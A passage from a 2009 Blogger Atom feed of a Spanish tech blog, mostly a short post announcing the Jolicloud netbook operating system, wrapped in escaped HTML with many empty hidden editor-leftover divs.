id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342063" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1234127342065" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-5085954753229826181?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/5085954753229826181/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=5085954753229826181' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5085954753229826181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5085954753229826181'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/01/xdddd.html' title='Cartas entre maestra que prohíbe linux y responsable de HeliOS'/><author><name>Dux</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='25' src='http://3.bp.blogspot.com/_wn0vzk5BOQA/SsexkIFJNRI/AAAAAAAAAAg/0MieS9_xX0I/S220/wassup.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-132221887523915947</id><published>2009-01-25T14:10:00.003+01:00</published><updated>2009-01-25T14:15:52.498+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='S.O.&apos;s en General'/><title type='text'>Jolicloud : Un SO para tu NetBook</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.blogcdn.com/www.engadget.com/media/2009/01/1-24-09-jolicloud.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 600px; height: 352px;" src="http://www.blogcdn.com/www.engadget.com/media/2009/01/1-24-09-jolicloud.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;" id="result_box" dir="ltr"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(pulsar para agrandar)&lt;br /&gt;Eso es lo que podría ser tu NetBook a finales de este año. De la nada, Tariq Krim ha elaborado el sistema operativo Jolicloud, un sistema operativo diseñado específicamente para los ordenadores portátiles miniaturizados que dependen de suficiente memoria RAM y menos CPU con la que cualquier PC debería ser arrancado.&lt;br /&gt;&lt;br /&gt;En esencia, Jolicloud es una modificación de Linux que promete arrancar veces más rápido que otras alternativas, y a juzgar por la foto de arriba, depende en gran medida del sistema de navegación mediante iconos.&lt;br /&gt;&lt;br /&gt;http://www.jolicloud.com/&lt;br /&gt;&lt;br /&gt;Nos Vemos ;)&lt;br /&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889007561" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889007581" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889007582" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889007585" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889007594" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889007667" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008038" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008139" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008140" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008142" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008143" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008146" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008147" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008148" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008149" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008161" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008163" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008164" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008165" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008166" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008167" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008169" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008170" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008171" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008238" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008239" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008240" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008241" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008242" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008245" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008247" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008248" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008250" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008251" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008252" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008253" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008254" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008255" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008256" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008257" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008258" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889008821" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889047557" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="1232889047559" id="_booktextmark_tab_id_"&gt;&lt;/div&gt;&lt;div style="visibility: hidden;" title="
